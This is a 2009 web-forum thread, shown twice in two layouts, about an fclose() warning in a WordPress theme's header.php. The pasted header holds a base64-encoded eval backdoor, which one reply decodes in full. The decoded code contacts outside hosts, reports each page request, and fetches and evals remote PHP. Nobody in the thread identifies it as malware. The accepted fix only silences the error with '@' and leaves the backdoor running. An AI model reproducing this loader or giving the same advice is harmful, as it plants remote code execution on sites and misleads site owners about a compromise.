Wordpress Problem.. fclose.. please help a noob...

Toni · 05-11-2009, 06:17 AM

Warning: fclose(): supplied argument is not a valid stream resource in /home/content/l/a/p/lappanion/html/successfulselfimprovement/success_skills_blog/wp-content/themes/dream-on/header.php(20) : eval()'d code on line 1

can anyone help me as a wp noob??
it either shows this error message or the blog is not available at all... (got like 8 blogs running with his theme and all show this error)

this theme is from small potato at wpdesigner.com unfortunately he has sold his website so i can't ask him for support..

have attached a screenshot

thank you
toni

mholt · 05-11-2009, 07:10 AM

It's impossible to debug without looking at the code.

So the first thing you do is go to that line it gives you and see what it's eval'ing. Then you just have to find the stream resource that it SHOULD be using and stick it in fclose(). (Ew, wait, why is it using eval anyway?)

Toni · 05-12-2009, 01:47 AM

Originally Posted by mholt

It's impossible to debug without looking at the code.

So the first thing you do is go to that line it gives you and see what it's eval'ing. Then you just have to find the stream resource that it SHOULD be using and stick it in fclose(). (Ew, wait, why is it using eval anyway?)

i see....

have activated the theme again: http://successfulselfimprovement.com...s_skills_blog/
????: NamePros.com http://www.namepros.com/programming/582088-wordpress-problem-fclose-please-help-noob.html

cheers
toni

Toni · 05-13-2009, 01:25 AM

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/11">

<title><?php bloginfo('name'); ?><?php wp_title(); ?></title>

<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /> 

<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="text/xml" title="RSS .92" href="<?php bloginfo('rss_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />

<?php wp_get_archives('type=monthly&format=link'); ?>
<?php //comments_popup_script(); // off by default ?>
<?php wp_head(); ?>
</head>
<body><?php eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qz c3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNz ci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5Qk JBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0 MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMD UyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTRE QUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW 4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZC Q0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBRE Q3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEy RkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlIC RSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAi d3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRT Y0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUy NkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbG xvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRF QTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNT I0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4k UjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS 93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5w aHA/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUk knXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVS WydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNk M3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRS NkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQG V2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5 MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzRE JEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2 NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNU Y5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQz RkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cm w9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSdd KSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0 hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUy NDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0 MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7')); ?><div id="container">
????: NamePros.com http://www.namepros.com/showthread.php?t=582088
????: NamePros.com http://www.namepros.com/showthread.php?t=582088

<div id="header">
<h1><a href="<?php bloginfo('url'); ?>" title="<?php bloginfo('name'); ?>"><?php bloginfo('name'); ?></a></h1>
<div id="banner"> </div>
</div>

<div id="description-container">
<div class="description"><p><?php bloginfo('description'); ?></p></div>
</div>

Toni · 05-14-2009, 10:47 AM

somebody please....

mholt · 05-14-2009, 11:05 AM

The decoded text is:

PHP Code:

  if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3))
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
elseif
($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
????: NamePros.com http://www.namepros.com/showthread.php?t=582088
else
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
@eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;');
if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1";
$R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
????: NamePros.com http://www.namepros.com/showthread.php?t=582088
@eval($R3E33E017CD76B9B7E6C7364FB91E2E90);
}
else
{
$RD3FE9C10A808A54EA2A3DBD9E605B696 = "0";
$R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);
@readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

That should help a bit. Frankly, though, this is a mess... can you find another, more competent theme?

Toni · 05-14-2009, 11:42 AM

thanks a bunch.. really

can you just let me know excactly where i will replace it...

mholt · 05-14-2009, 11:58 AM

Well the error is coming from the last line of that decoded text. The variable passed into that function isn't right. You could try cheating and putting a @ at the beginning of the line (with fclose) to see if the error goes away.

Toni · 05-15-2009, 06:05 AM

thanks so much,

adding an @ solved it...

rep added...

cheers
toni

mholt · 05-15-2009, 07:07 AM

Your welcome! ^_^ But you may want to address the problem anyway and get it resolved by a dedicated programmer (at some point).

Toni · 05-15-2009, 07:24 AM

yes i will once i have my ROI on this project.... :-) ,
thanks again buddy couldn't have done it without you...
toni

chandan · 05-15-2009, 10:34 AM

mholt how to decode that ?

Toni · 05-15-2009, 10:55 AM

hi chandan just google: base64 decode
there are plenty free decoders...

toni

05-13-2009, 01:25 AM	THREAD STARTER #4 (permalink)
Toni Senior Member Join Date: Jul 2007 Location: Right here! Posts: 3,915	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn/11"> <title><?php bloginfo('name'); ?><?php wp_title(); ?></title> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /> <!-- leave this for stats please --> <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" /> <link rel="alternate" type="text/xml" title="RSS .92" href="<?php bloginfo('rss_url'); ?>" /> <link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="<?php bloginfo('atom_url'); ?>" /> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <?php wp_get_archives('type=monthly&format=link'); ?> <?php //comments_popup_script(); // off by default ?> <?php wp_head(); ?> </head> <body><?php eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qz c3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNz ci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5Qk JBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0 MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMD UyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTRE QUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW 4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZC Q0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBRE Q3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEy RkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlIC RSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAi d3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRT Y0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUy NkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbG xvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRF QTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNT I0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4k UjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS 93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5w aHA/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUk knXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVS WydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNk M3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRS NkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQG V2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5 MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzRE JEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2 NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNU Y5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQz RkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cm w9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSdd KSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0 hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUy NDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0 MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7')); ?><div id="container"> ????: NamePros.com http://www.namepros.com/showthread.php?t=582088 ????: NamePros.com http://www.namepros.com/showthread.php?t=582088 <div id="header"> <h1><a href="<?php bloginfo('url'); ?>" title="<?php bloginfo('name'); ?>"><?php bloginfo('name'); ?></a></h1> <div id="banner"> </div> </div> <div id="description-container"> <div class="description"><p><?php bloginfo('description'); ?></p></div> </div> __________________ Free Facebook Fans, Free Twitter Followers, Earn Cash, check out: Click Fans - The Social Exchange Community

05-14-2009, 10:47 AM	THREAD STARTER #5 (permalink)
Toni Senior Member Join Date: Jul 2007 Location: Right here! Posts: 3,915	somebody please.... __________________ Free Facebook Fans, Free Twitter Followers, Earn Cash, check out: Click Fans - The Social Exchange Community

05-14-2009, 11:05 AM	#6 (permalink)
mholt DNOA Member Join Date: May 2004 Posts: 5,040	The decoded text is: PHP Code: if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif ($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; ????: NamePros.com http://www.namepros.com/showthread.php?t=582088 else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); ????: NamePros.com http://www.namepros.com/showthread.php?t=582088 @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916); That should help a bit. Frankly, though, this is a mess... can you find another, more competent theme?

05-14-2009, 11:42 AM	THREAD STARTER #7 (permalink)
Toni Senior Member Join Date: Jul 2007 Location: Right here! Posts: 3,915	thanks a bunch.. really can you just let me know excactly where i will replace it... __________________ Free Facebook Fans, Free Twitter Followers, Earn Cash, check out: Click Fans - The Social Exchange Community

05-15-2009, 06:05 AM	THREAD STARTER #9 (permalink)
Toni Senior Member Join Date: Jul 2007 Location: Right here! Posts: 3,915	thanks so much, adding an @ solved it... rep added... cheers toni __________________ Free Facebook Fans, Free Twitter Followers, Earn Cash, check out: Click Fans - The Social Exchange Community

05-11-2009, 07:10 AM	#2 (permalink)
mholt DNOA Member Join Date: May 2004 Posts: 5,040	It's impossible to debug without looking at the code. So the first thing you do is go to that line it gives you and see what it's eval'ing. Then you just have to find the stream resource that it SHOULD be using and stick it in fclose(). (Ew, wait, why is it using eval anyway?)

05-14-2009, 11:58 AM	#8 (permalink)
mholt DNOA Member Join Date: May 2004 Posts: 5,040	Well the error is coming from the last line of that decoded text. The variable passed into that function isn't right. You could try cheating and putting a @ at the beginning of the line (with fclose) to see if the error goes away.

05-15-2009, 07:07 AM	#10 (permalink)
mholt DNOA Member Join Date: May 2004 Posts: 5,040	Your welcome! ^_^ But you may want to address the problem anyway and get it resolved by a dedicated programmer (at some point).

05-15-2009, 07:24 AM	THREAD STARTER #11 (permalink)
Toni Senior Member Join Date: Jul 2007 Location: Right here! Posts: 3,915	yes i will once i have my ROI on this project.... :-) , thanks again buddy couldn't have done it without you... toni __________________ Free Facebook Fans, Free Twitter Followers, Earn Cash, check out: Click Fans - The Social Exchange Community

05-15-2009, 10:34 AM	#12 (permalink)
chandan Senior Member Join Date: Jan 2008 Location: Unblock.in Posts: 4,782 Follow @chandan123	mholt how to decode that ? __________________ chandan.in- Domain Names-foods - iblogs- Steroids for Sale - 074.in for 15$ Recipes- DIR-stumble 4 Sales 54 DBS-Recipes DB-Drinks DB-Jokes- book marks-Chandan

05-15-2009, 10:55 AM	THREAD STARTER #13 (permalink)
Toni Senior Member Join Date: Jul 2007 Location: Right here! Posts: 3,915	hi chandan just google: base64 decode there are plenty free decoders... toni __________________ Free Facebook Fans, Free Twitter Followers, Earn Cash, check out: Click Fans - The Social Exchange Community

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
WANTED: Wordpress Expert - Fix my Themes problem	youngempire	Web Development Wanted	2	10-27-2008 10:24 AM
Download 9 Beautiful Wordpress Themes - FREE	roogy30	Free Resources	0	09-07-2008 04:02 PM
WordPress Rewriter Plugin 300% More - Turn your blogs into unique content machines	goscript	Content For Sale	6	12-11-2007 05:06 PM
Problems. They can ruin your day if you don't have the right perspective.	BobParsons.com	Business Development	0	12-16-2005 11:38 PM